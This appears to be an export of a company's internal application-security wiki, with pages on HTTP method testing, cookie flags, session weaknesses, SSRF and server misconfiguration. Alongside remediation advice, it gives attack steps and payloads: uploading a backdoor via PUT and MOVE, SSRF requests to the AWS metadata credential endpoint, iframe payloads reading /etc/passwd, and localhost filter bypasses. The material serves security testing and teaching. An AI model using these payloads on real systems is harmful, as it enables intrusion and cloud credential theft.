  5. SEARCH searches a directory path for resources.
  6. PROPFIND retrieves information about the specified resource, such as author, size, and content type.

You can use the OPTIONS method to list the HTTP methods that are permitted in a particular directory:

**Request:**

OPTIONS /public/ HTTP/1.0

Host: [mdsec.net](http://mdsec.net/)

**Server Response:**

HTTP/1.1 200 OK

Connection: close Date: Sun, 09 Apr 2021 15:56:2

Server: Microsoft-IIS/6.0

MicrosoftOfficeWebServer: 5.0\_Pub

X-Powered-By: ASP.NET

MS-Author-Via: MS-FP/4.0, DAV

Content-Length: 0

Accept-Ranges: none

Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIN D, PROPPATCH, LOCK, UNLOCK, SEARCH

**Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK**

Cache-Control: private

This response indicates that several of the powerful methods listed previously are in fact allowed. However, in practice these may require authentication or be subject to other restrictions. The PUT method is particularly dangerous. If you upload arbitrary fi les within the web root, the fi rst target is to create a backdoor script on the server that will be executed by a server-side module, thereby giving the attacker full control of the application, and often the web server itself. If the PUT method appears to be present and enabled, you can verify this as follows:

PUT /public/test.txt HTTP/1.1

Host: [mdsec.net](http://mdsec.net/)

Content-Length: 4

test

HTTP/1.1 201 Created

For WebDAV instances where end users are permitted to upload fi les, it is relatively common for uploading server-side scripting language extensions specific to that server’s environment to be forbidden. The ability to upload HTML or JAR fi les is much more likely, and both of these allow attacks against other users to be conducted.

To test the server’s handling of different HTTP methods, you will need to use a tool such as Burp Repeater, which allows you to send an arbitrary request with full control over the message headers and body.

* Use the OPTIONS method to list the HTTP methods that the server states are available. Note that different methods may be enabled in different directories.
* In many cases, methods may be advertised as available that you cannot in fact use. Sometimes, a method may be usable even though it is not listed in the response to the OPTIONS request. Try each method manually to confirm whether it can in fact be used.
* If you find that some WebDAV methods are enabled, it is often easiest to use a WebDAV-enabled client for further investigation, such as Microsoft FrontPage or the Open as Web Folder option within Internet Explorer.
  1. Attempt to use the PUT method to upload a benign file, such as a text file.
  2. If this is successful, try uploading a backdoor script using PUT.
  3. If the necessary extension for the backdoor to operate is being blocked, try uploading the file with a .txt extension and using the MOVE method to move it to a file with a new extension.
  4. If any of the preceding methods fails, try uploading a JAR file, or a file with contents that a browser will render as HTML. Recursively step through all the directories using a tool such as [davtest.pl](http://davtest.pl/).
* [Session Management](https://confluence.es.ad.adp.com/display/APPSEC/Session+Management?src=contextnavpagetreemode)
  1. [Cookie - HTTPonly Flag](https://confluence.es.ad.adp.com/display/APPSEC/Cookie+-+HTTPonly+Flag?src=contextnavpagetreemode)
  2. [Cookie - Without Secure flag](https://confluence.es.ad.adp.com/display/APPSEC/Cookie+-+Without+Secure+flag?src=contextnavpagetreemode)
  3. [Session active even after logout](https://confluence.es.ad.adp.com/display/APPSEC/Session+active+even+after+logout?src=contextnavpagetreemode)
  4. [Session Expiration Vulnerability](https://confluence.es.ad.adp.com/display/APPSEC/Session+Expiration+Vulnerability?src=contextnavpagetreemode)
  5. [Session Fixation](https://confluence.es.ad.adp.com/display/APPSEC/Session+Fixation?src=contextnavpagetreemode)
  6. [Session Timeout](https://confluence.es.ad.adp.com/display/APPSEC/Session+Timeout?src=contextnavpagetreemode)
  7. [Test file](https://confluence.es.ad.adp.com/display/APPSEC/Test+file?src=contextnavpagetreemode)

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Cookie+-+HTTPonly+Flag#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Feb 26, 2021](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1433146793)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Cookie+-+HTTPonly+Flag#page-metadata-start)

**What is HttpOnly:**

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure makes certain client-side attacks, such as cross-site scripting, slightly harder to exploit by preventing them from trivially capturing the cookie's value via an injected script.

**The example below shows the syntax used within the HTTP response header:**

Set-Cookie: `=``[; ``=``]` `[; expires=``][; domain=``]` `[; path=``][; secure][; HttpOnly]`

If the HttpOnly flag (optional) is included in the HTTP response header, the cookie cannot be accessed through client-side script (again if the browser supports this flag). As a result, even if a cross-site scripting (XSS) flaw exists, and a user accidentally accesses a link that exploits this flaw, the browser (primarily Internet Explorer) will not reveal the cookie to a third party.

**Mitigating the Most Common XSS attack using HttpOnly:**

According to Michael Howard, Senior Security Program Manager in the Secure Windows Initiative group at Microsoft, the majority of XSS attacks target theft of session cookies. A server could help mitigate this issue by setting the HttpOnly flag on a cookie it creates, indicating the cookie should not be accessible on the client.

If a browser that supports HttpOnly detects a cookie containing the HttpOnly flag, and client-side script code attempts to read the cookie, the browser returns an empty string as the result. This causes the attack to fail by preventing the malicious (usually XSS) code from sending the data to an attacker’s website.

**Using Java to Set HttpOnly:**

Since Java Enterprise Edition 6 (JEE 6), which adopted Java Servlet 3.0 technology, it’s programmatically easy to set the HttpOnly flag on a cookie.

In fact, setHttpOnly and isHttpOnly methods are available in the Cookie interface 1, and for session cookies (JSESSIONID) 2:

Cookie cookie = getMyCookie("myCookieName");

 cookie. SetHttpOnly(true);

Moreover, since JEE 6 it’s also declaratively easy setting HttpOnly flag in a session cookie by applying the following configuration in the deployment descriptor WEB-INF/web.xml:

` ` `  ``true` ` `

For Java Enterprise Edition versions prior to JEE 6 a common workaround is to overwrite the SET-COOKIE HTTP response header with a session cookie value that explicitly appends the HttpOnly flag:

String sessionID = request.getSession().getId();

 be careful overwriting:

 JSESSIONID may have been set with other flags

 response.setHeader("SET-COOKIE", "JSESSIONID=" + sessionID + "; HttpOnly");

**Using .NET to Set HttpOnly:**

Forms Authentication cookie in .NET 2.0, HttpOnly can also be set via the HttpCookie object for all custom application cookies - Via \*\*web.config\*\* in the system.web/httpCookies element

 <httpCookies httpOnlyCookies="true" …>

Or programmatically

 C\# Code:

 HttpCookie myCookie = new HttpCookie("myCookie");

 myCookie.HttpOnly = true;

 Response.AppendCookie(myCookie);

 VB.NET Code:

 Dim myCookie As HttpCookie = new HttpCookie("myCookie")

myCookie.HttpOnly = True

 Response.AppendCookie(myCookie)

**Using Python (cherryPy) to Set HttpOnly:**

Python Code (cherryPy): To use HTTP-Only cookies with CherryPy sessions just add the following line in your configuration file:

tools.sessions.httponly = True If you use SSL you can also make your cookies secure (encrypted) to avoid "man-in-the-middle" cookies reading with tools.sessions.secure = True

**Finding Reporting Details:**

**Impact: Medium**

Impact is rated as ‘Medium’ as the attacker can steal the user's session and gain access to application if it is exploited

**Likelihood: Medium**

All the cookies are generated without http only flag

**Affecting another vulnerability:**Likelihood might vary if the application is vulnerable to cross site scripting

**Finding Description:**The application generates session cookies without 'HTTPonly' flag set. 'SMSESSION' and other cookies do not have the HTTPonly flag set. Combined with the other attacks like XSS, an attacker can grab the cookies which results in session hijacking.

**Reference Links:**

* <https://portswigger.net/kb/issues/00500600_cookie-without-httponly-flag-set>.
* <https://owasp.org/www-community/HttpOnly>
* <https://resources.infosecinstitute.com/securing-cookies-httponly-secure-flags/>

# [**Cookie - Without Secure flag**](https://confluence.es.ad.adp.com/display/APPSEC/Cookie+-+Without+Secure+flag)

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Cookie+-+Without+Secure+flag#page-metadata-end)

* Created by [Parvathaiahgari, VasanthaReddy (CORP)](https://confluence.es.ad.adp.com/display/~ParvatVa" \o "), last modified by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Apr 06, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1295745522&selectedPageVersions=1&selectedPageVersions=2)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Cookie+-+Without+Secure+flag#page-metadata-start)

**Vulnerability reporting details:**

The application generates session cookies without 'Secure' flag set. 'ASP.NET\_SessionId' and many other cookies does not have the secure flag set. It allows the cookie to be transmitted over non secure channel.

--

Impact is medium as an attacker could steal the user's session and gain access to application.

Likelihood is low as an attacker has to make the user to click on HTTP link of the application and should be in victims network to perform Man-In-The-Middle attack.

# [**Session active even after logout**](https://confluence.es.ad.adp.com/display/APPSEC/Session+active+even+after+logout)

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Session+active+even+after+logout#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Apr 06, 2021](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1485670416)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Session+active+even+after+logout#page-metadata-start)

**Note: This page needs to be updated.**

**Vulnerability description details:**

The application does not expire user's session after logout. It successfully responds to the requests even after logging out from the application. This would leak information in kiosk environments.

The Impact of this vulnerability is rated 'High', as attacker can get sensitive data if it is exploited

Likelihood of the vulnerability is rated as 'Medium' , as it is applicable in kiosk/shared environment.

# [**Session Expiration Vulnerability**](https://confluence.es.ad.adp.com/display/APPSEC/Session+Expiration+Vulnerability)

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Session+Expiration+Vulnerability#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Apr 06, 2021](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1485670412)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Session+Expiration+Vulnerability#page-metadata-start)

**Note: This page needs to be updated**

Session Expiration Issue:

The application does not automatically redirect to login page when a session is expired due to it being left idle. This might reveal the sensitive information present in the page which is accessed by the user before leaving the application idle.

The Likelihood of this vulnerability is rated 'low' because:

- Attacker must gain access to the system on which victim has last accessed the application.

The Impact of this vulnerability is rated 'Medium' because:

- Attacker gains access to functionalities and the information present in the last visited page.

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Session+Fixation#page-metadata-end)

* Created by [Parvathaiahgari, VasanthaReddy (CORP)](https://confluence.es.ad.adp.com/display/~ParvatVa" \o "), last modified by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Sep 08, 2020](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1295745518&selectedPageVersions=4&selectedPageVersions=5)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Session+Fixation#page-metadata-start)

This page is still under development

**What is a Session fixation attack?**  
In a Session Fixation attack, a victim is tricked into using a particular Session ID which is known to the attacker. After the victim user logs in to the web application using the provided session ID, the attacker uses this valid session ID to gain access to the user’s account.

**Attack Scenarios**Alice has an account at the bank　<http://unsafe.example.com/>

Mallory intends to target Alice's money from her bank.

Alice has a reasonable level of trust in Mallory, and will visit links Mallory sends her.

A simple attack scenario

**Straightforward scenario:**

* Mallory has determined that　<http://unsafe.example.com/>　accepts any session identifier, accepts session identifiers from query strings and has no security validation.　<http://unsafe.example.com/> is thus not secure.
* Mallory sends Alice an e-mail: "Hey, check this out, there is a cool new account summary feature on our bank,　<http://unsafe.example.com/?SID=I_WILL_KNOW_THE_SID>". Mallory is trying to fixate the SID to　I\_WILL\_KNOW\_THE\_SID.
* Alice is interested and visits　<http://unsafe.example.com/?SID=I_WILL_KNOW_THE_SID>. The usual log-on screen pops up, and Alice logs on.
* Mallory visits　<http://unsafe.example.com/?SID=I_WILL_KNOW_THE_SID>　and now has unlimited access to Alice's account.

**Attack using server generated SID:**

A misconception is that if a server only accepts server-generated session identifiers, it is safe from fixation. This is **false**.

Scenario:

* Mallory visits　<http://vulnerable.example.com/>　and checks which SID is returned. For example, the server may respond:　Set-Cookie: SID=0D6441FEA4496C2.
* Mallory is now able to send Alice an e-mail: "Check out this new cool feature on our bank,　<http://vulnerable.example.com/?SID=0D6441FEA4496C2>."
* Alice logs on, with fixated session identifier　SID=0D6441FEA4496C2.
* Mallory visits　<http://vulnerable.example.com/?SID=0D6441FEA4496C2>　and now has unlimited access to Alice's account.

**Attacks using cross-subdomain cookie:**

This is like cross-site cookie, except that it does not rely on browser vulnerabilities. Rather, it relies on the fact that wildcard cookies can be set by one subdomain that affect other subdomains.

Scenario:

* A web site　[www.example.com](http://www.example.com/)　hands out subdomains to untrusted third parties
* One such party, Mallory, who now controls　[evil.example.com](http://evil.example.com/), lures Alice to his site
* A visit to　[evil.example.com](http://evil.example.com/)　sets a session cookie with the domain　.[example.com](http://example.com/)　on Alice's browser
* When Alice visits　[www.example.com](http://www.example.com/), this cookie will be sent with the request, as the specs for cookies states, and Alice will have the session specified by Mallory's cookie.
* If Alice now logs on, Mallory can use her account.

**Impact of Session fixation attack**The impact to the victim of the attack and the owners of the website will vary, depending on the type of application and the nature of the data stored within the compromised user session. At a minimum, a successfully exploited Session Fixation could lead to a loss of privacy allowing the attacker to obtain sensitive information entered into the application by the victim. In a more serious case, it could lead to the takeover of the victim’s account if the attacker is able to authenticate with the application using the stolen Session ID.

If administrator accounts are compromised using this vulnerability the attack could be used to make other attacks possible, such as altering the configuration of the application or extracting data from backend databases.

**Testing Methodology**The most common type of Session Fixation vulnerability comes from a failure in the application to issue new session token after login. Testing an application for this is fairly straightforward and can be performed using a web browser and a proxy application (such as Burp Suite or ZAP Proxy) using the following process:

* Browse to the application login page and check the HTTP Response in the proxy for a cookie containing the Session ID
* Note the value of the Session ID
* Sign into the application, and check the HTTP Response from the application
* If the response does not issue a new session cookie, then the application may be vulnerable to Session Fixation

In addition to testing how the application behaves during login, it’s also worth checking whether the application accepts a Session ID passed as a URL parameter, since this makes it especially easy for an attacker to force the Session ID onto a user through the use of a malicious link.

Ensuring cookies are handled correctly plays an important role in preventing certain types of Session Fixation vulnerabilities, as cookies which are scoped to their root path or which are valid for wildcard domains may allow a Session Fixation vulnerability to be exploited.

**How to prevent Session Fixation vulnerabilities:**

Following are some of the measure that can be taken to prevent session fixation attacks:-

* Regenerate the Session ID at Authentication
* Accept Only Server-Generated Session IDs
* Timeout and Replace Old Session IDs
* Require a New Session When Visiting From Suspicious Referrers

# [**Session Timeout**](https://confluence.es.ad.adp.com/display/APPSEC/Session+Timeout)

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Session+Timeout#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o "), last modified on [Apr 06, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1485670407&selectedPageVersions=1&selectedPageVersions=2)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Session+Timeout#page-metadata-start)

**Note: Finding details need to be updated**

**Vulnerability description details:**

The application does not implement session timeout mechanism. It doesn't terminate the session even after leaving the application idle for more than 1 hour. The complete application is accessible, This may allow leakage of sensitive information present in the application

Impact of the vulnerability is rated as "High" because, it reveals information related to multiple users.

Likelihood of the vulnerability is rated as "Low" because, it is only applicable in kiosk/shared environment.

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/HTTP+Only+flag#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o "), last modified on [Feb 26, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1433146772&selectedPageVersions=1&selectedPageVersions=2)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/HTTP+Only+flag#page-metadata-start)

**What is HttpOnly:**

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure makes certain client-side attacks, such as cross-site scripting, slightly harder to exploit by preventing them from trivially capturing the cookie's value via an injected script.

**The example below shows the syntax used within the HTTP response header:**

Set-Cookie: `=``[; ``=``]` `[; expires=``][; domain=``]` `[; path=``][; secure][; HttpOnly]`

If the HttpOnly flag (optional) is included in the HTTP response header, the cookie cannot be accessed through client-side script (again if the browser supports this flag). As a result, even if a cross-site scripting (XSS) flaw exists, and a user accidentally accesses a link that exploits this flaw, the browser (primarily Internet Explorer) will not reveal the cookie to a third party.

**Mitigating the Most Common XSS attack using HttpOnly:**

According to Michael Howard, Senior Security Program Manager in the Secure Windows Initiative group at Microsoft, the majority of XSS attacks target theft of session cookies. A server could help mitigate this issue by setting the HttpOnly flag on a cookie it creates, indicating the cookie should not be accessible on the client.

If a browser that supports HttpOnly detects a cookie containing the HttpOnly flag, and client-side script code attempts to read the cookie, the browser returns an empty string as the result. This causes the attack to fail by preventing the malicious (usually XSS) code from sending the data to an attacker’s website.

**Using Java to Set HttpOnly:**

Since Java Enterprise Edition 6 (JEE 6), which adopted Java Servlet 3.0 technology, it’s programmatically easy to set the HttpOnly flag on a cookie.

In fact, setHttpOnly and isHttpOnly methods are available in the Cookie interface 1, and for session cookies (JSESSIONID) 2:

Cookie cookie = getMyCookie("myCookieName");

 cookie. SetHttpOnly(true);

Moreover, since JEE 6 it’s also declaratively easy setting HttpOnly flag in a session cookie by applying the following configuration in the deployment descriptor WEB-INF/web.xml:

` ` `  ``true` ` `

For Java Enterprise Edition versions prior to JEE 6 a common workaround is to overwrite the SET-COOKIE HTTP response header with a session cookie value that explicitly appends the HttpOnly flag:

String sessionID = request.getSession().getId();

 be careful overwriting:

 JSESSIONID may have been set with other flags

 response.setHeader("SET-COOKIE", "JSESSIONID=" + sessionID + "; HttpOnly");

**Using .NET to Set HttpOnly:**

Forms Authentication cookie in .NET 2.0, HttpOnly can also be set via the HttpCookie object for all custom application cookies - Via \*\*web.config\*\* in the system.web/httpCookies element

 <httpCookies httpOnlyCookies="true" …>

Or programmatically

 C\# Code:

 HttpCookie myCookie = new HttpCookie("myCookie");

 myCookie.HttpOnly = true;

 Response.AppendCookie(myCookie);

 VB.NET Code:

 Dim myCookie As HttpCookie = new HttpCookie("myCookie")

myCookie.HttpOnly = True

 Response.AppendCookie(myCookie)

**Using Python (cherryPy) to Set HttpOnly:**

Python Code (cherryPy): To use HTTP-Only cookies with CherryPy sessions just add the following line in your configuration file:

tools.sessions.httponly = True If you use SSL you can also make your cookies secure (encrypted) to avoid "man-in-the-middle" cookies reading with tools.sessions.secure = True

**Finding Reporting Details:**

**Impact: Medium**

Impact is rated as ‘Medium’ as the attacker can steal the user's session and gain access to application if it is exploited

**Likelihood: Medium**

All the cookies are generated without http only flag

**Affecting another vulnerability:**Likelihood might vary if the application is vulnerable to cross site scripting

**Finding Description:**The application generates session cookies without 'HTTPonly' flag set. 'SMSESSION' and other cookies do not have the HTTPonly flag set. Combined with the other attacks like XSS, an attacker can grab the cookies which results in session hijacking.

**Reference Links:**

* <https://portswigger.net/kb/issues/00500600_cookie-without-httponly-flag-set>.
* <https://owasp.org/www-community/HttpOnly>
* <https://resources.infosecinstitute.com/securing-cookies-httponly-secure-flags/>

[Like](https://confluence.es.ad.adp.com/display/APPSEC/HTTP+Only+flag)Be the first to like this

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/SSRF#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o "), last modified on [Sep 13, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1759248934&selectedPageVersions=2&selectedPageVersions=3)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/SSRF#page-metadata-start)

**Server Side Request Forgery (SSRF)**

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.

In a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within the organization's infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems, potentially leaking sensitive data such as authorization credentials.

By selecting target URLs, the attacker may be able to read data from services that are not directly exposed on the internet like:

**Cloud server meta-data** — Cloud services such as AWS provide a REST interface on <http://169.254.169.254/> where important configuration and sometimes even authentication keys can be extracted.

**Database HTTP interfaces** — NoSQL database such as MongoDB provide REST interfaces on HTTP ports. If the database is expected to only be available to internally, authentication may be disabled and the attacker can extract data from internal REST interfaces.

**Files** — The attacker may be able to read files using file:// URIs. The attacker may also use this functionality to import untrusted data into code that expects to only read data from trusted sources, and as such circumvent input validation.

**Impact**

A successful SSRF attack can often result in unauthorized actions or access to data within the organization, either in the vulnerable application itself or on other back-end systems that the application can communicate with. In some situations, the SSRF vulnerability might allow an attacker to perform arbitrary command execution.

An SSRF exploit that causes connections to external third-party systems might result in malicious onward attacks that appear to originate from the organization hosting the vulnerable application.

**Detection**

The target application may have functionality for importing data from a URL, publishing data to a URL or otherwise reading data from a URL that can be tampered with. The attacker modifies the calls to this functionality by supplying a completely different URL or by manipulating how URLs are built (path traversal etc.).

Check out parameters such as /file=, /path=, /src= to see if the application can send request only to whitelisted applications

Check out if there is PDF or any other file export tool in place which may be vulnerable to SSRF

**Note:**

One important note on SSRF with POST requests is that the SSRF may also manifest in a blind manner, because the application may not return anything immediately. Instead, the injected data may be used in other functionality such as PDF reports, invoice or order handling, etc., which may be visible to employees or staff but not necessarily to the end user or tester.

**Different scenarios**

**Abusing SSRF in AWS EC2 environment**

Metadata of the  basic virtual machines from AWS (called EC2) can be retrieved from the VM accessing the url: [http://169.254.169.254](http://169.254.169.254/)

The IP address 169.254.169.254 is a magic IP in the cloud world. AWS, Azure, Google, DigitalOcean and others use this to allow cloud resources to find out metadata about themselves. Some, such as Google, have additional constraints on the requests, such as requiring it to use Metadata-Flavor: Google as an HTTP header and refusing requests with an X-Forwarded-For header. AWS has no constraints.

Sending a GET requests to the following endpoint will dump a list of roles that are attached to the current EC2 instance:

[***http://169.254.169.254/latest/meta-data/iam/security-credentials/***](http://169.254.169.254/latest/meta-data/iam/security-credentials/)

If we want to access our S3 bucket we would normally hard-code our API keys into our application. Hard-coding clear text passwords is a bad idea. This is why we can assign our EC2 instance a role which can be used to access our S3 bucket. These credentials are automatically rotated by AWS and can be access thought the metadata API.

Once we get a list of roles attached to the EC2 instance we can dump credentials by making a GET requests to the following URL:

***http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE\_NAME\_HERE>***

We can then take those credentials and use them with the AWS CLI. This will allow us to do anything that role has permissions to do. If the role has improper permissions set(Most likely) we will be able to do all kinds of things, might even be able to take over their entire cloud network.

**SSRF against the server itself**

In an SSRF attack against the server itself, the attacker induces the application to make an HTTP request back to the server that is hosting the application, via its loopback network interface. This will typically involve supplying a URL with a hostname like 127.0.0.1 (a reserved IP address that points to the loopback adapter) or localhost (a commonly used name for the same adapter).

For example, consider a shopping application that lets the user view whether an item is in stock in a particular store. To provide the stock information, the application must query various back-end REST APIs, dependent on the product and store in question. The function is implemented by passing the URL to the relevant back-end API endpoint via a front-end HTTP request. So when a user views the stock status for an item, the browser makes a request like this:

*POST /product/stock HTTP/1.0  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 118  
  
stockApi=*[*http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1*](http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1)

This causes the server to make a request to the specified URL, retrieve the stock status, and return this to the user.

In this situation, an attacker can modify the request to specify a URL local to the server itself. For example:

*POST /product/stock HTTP/1.0  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 118  
  
stockApi=*[*http://localhost/admin*](http://localhost/admin)

Here, the server will fetch the contents of the /admin URL and return it to the user.

Now of course, the attacker could just visit the /admin URL directly. But the administrative functionality is ordinarily accessible only to suitable authenticated users. So an attacker who simply visits the URL directly won't see anything of interest. However, when the request to the /admin URL comes from the local machine itself, the normal [access controls](https://portswigger.net/web-security/access-control) are bypassed. The application grants full access to the administrative functionality, because the request appears to originate from a trusted location.

**SSRF against the other backend systems**

Another type of trust relationship that often arises with server-side request forgery is where the application server is able to interact with other back-end systems that are not directly reachable by users. These systems often have non-routable private IP addresses. Since the back-end systems are normally protected by the network topology, they often have a weaker security posture. In many cases, internal back-end systems contain sensitive functionality that can be accessed without authentication by anyone who is able to interact with the systems.

In the preceding example, suppose there is an administrative interface at the back-end URL <https://192.168.0.68/admin>. Here, an attacker can exploit the SSRF vulnerability to access the administrative interface by submitting the following request:

*POST /product/stock HTTP/1.0  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 118  
  
stockApi=*[*http://192.168.0.68/admin*](http://192.168.0.68/admin)

**SSRF via file upload**

Sometimes, we can achieve SSRF by just changing the upload type using inspect element (from "type=file" to "type=url") , pasting URL in text field and proceeding further.

**SSRF via PDF generators**

In some cases, a server may convert uploaded files to PDF format. Try injecting <iframe>, <img>, <base>, or <script> elements, or CSS url() functions pointing to internal services.

*<iframe src="*[*file:///etc/passwd*](file:///\\etc\passwd)*" width="400" height="400">*

*<iframe src="file:///c:/windows/win.ini" width="400" height="400">*

**SSRF via open redirection**

It is sometimes possible to circumvent any kind of filter-based defenses by exploiting an open redirection vulnerability.

Suppose the user-submitted URL is strictly validated to prevent malicious exploitation of the SSRF behavior. However, the application whose URLs are allowed contains an open redirection vulnerability. Provided the API used to make the back-end HTTP request supports redirections, you can construct a URL that satisfies the filter and results in a redirected request to the desired back-end target.

For example, suppose the application contains an open redirection vulnerability in which the following URL:

*/product/nextProduct?currentProductId=6&path=*[*http://evil-user.net*](http://evil-user.net/)

returns a redirection to:

[*http://evil-user.net*](http://evil-user.net/)

You can leverage the open redirection vulnerability to bypass the URL filter, and exploit the SSRF vulnerability as follows:

*POST /product/stock HTTP/1.0  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 118  
  
stockApi=*[*http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin*](http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin)

This SSRF exploit works because the application first validates that the supplied stockAPI URL is on an allowed domain, which it is. The application then requests the supplied URL, which triggers the open redirection. It follows the redirection, and makes a request to the internal URL of the attacker's choosing.

**Common Filter Bypass**

Some applications block references to localhost and 127.0.0.1. This can be circumvented by:

* Using alternative IP representation that evaluate to 127.0.0.1:
* Decimal notation: 2130706433
* Octal notation: 017700000001
* IP shortening: 1
* String obfuscation
* Registering your own domain that resolves to 127.0.0.1

Sometimes the application allows input that matches a certain expression, like a domain. That can be circumvented if the URL schema parser is not properly implemented, resulting in attacks similar to [semantic attacks](https://tools.ietf.org/html/rfc3986#section-7.6).

* Using the @ character to separate between the userinfo and the host: [https://expected-domain@attacker-domain](https://expected-domain@attacker-domain/)
* URL fragmentation with the # character: [https://attacker-domain#expected-domain](https://attacker-domain/#expected-domain)
* URL encoding
* Fuzzing
* Combinations of all of the above

**Blind SSRF**

Blind SSRF vulnerabilities arise when an application can be induced to issue a back-end HTTP request to a supplied URL, but the response from the back-end request is not returned in the application's front-end response.

**Impact:**

The impact of blind SSRF vulnerabilities is often lower than fully informed SSRF vulnerabilities because of their one-way nature. They cannot be trivially exploited to retrieve sensitive data from back-end systems, although in some situations they can be exploited to achieve full remote code execution.

**Example scenarios**

**Blind SSRF via referrer header**

Some applications employ server-side analytics software that tracks visitors. This software often logs the Referer header in requests, since this is of particular interest for tracking incoming links. Often the analytics software will actually visit any third-party URL that appears in the Referer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities.

**Remediation**

SSRF is known to be one of the hardest attacks to defeat without the use of allow lists that require specific IPs and URLs to be allowed. For more on SSRF prevention, read the [Server Side Request Forgery Prevention Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html).

More information : <https://portswigger.net/web-security/ssrf>

References:

<https://portswigger.net/web-security/ssrf>

* + [System Configuration](https://confluence.es.ad.adp.com/display/APPSEC/System+Configuration?src=contextnavpagetreemode)
    - [Application server configuration](https://confluence.es.ad.adp.com/display/APPSEC/Application+server+configuration?src=contextnavpagetreemode)
    - [Database configuration](https://confluence.es.ad.adp.com/display/APPSEC/Database+configuration?src=contextnavpagetreemode)
    - [Unpatched software](https://confluence.es.ad.adp.com/display/APPSEC/Unpatched+software?src=contextnavpagetreemode)

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Application+server+configuration#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o "), last modified on [Mar 30, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1467417882&selectedPageVersions=1&selectedPageVersions=2)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Application+server+configuration#page-metadata-start)

**Note: This document needs to reviewed by the team**

**Application Server Configuration:**

What is Security Misconfiguration:

Improper server or web application configuration leading to various flaws:  
♣ Debugging enabled.  
♣ Incorrect folder permissions.  
♣ Using default accounts or passwords.  
♣ Setup/Configuration pages enabled.  
Security misconfiguration can happen at any level of an application stack, including the network services, platform, web server, application server, database, frameworks, custom code, and pre-installed virtual machines, containers, or storage. Automated scanners are useful for detecting misconfigurations, use of default accounts or configurations, unnecessary services, legacy options, etc. Such flaws frequently give attackers unauthorized access to some system data or functionality. Occasionally, such flaws result in a complete system compromise.  
The business impact depends on the protection needs of the application and data.  
Is the Application Vulnerable?  
The application might be vulnerable if the application is:  
\* Missing appropriate security hardening across any part of the application stack, or improperly configured permissions on cloud services.  
\* Unnecessary features are enabled or installed (e.g. unnecessary ports, services, pages, accounts, or privileges).  
\* Default accounts and their passwords still enabled and unchanged.  
\* Error handling reveals stack traces or other overly informative error messages to users.  
\* For upgraded systems, latest security features are disabled or not configured securely.  
\* The security settings in the application servers, application frameworks (e.g. Struts, Spring, ASP.NET), libraries, databases, etc. not set to secure values.  
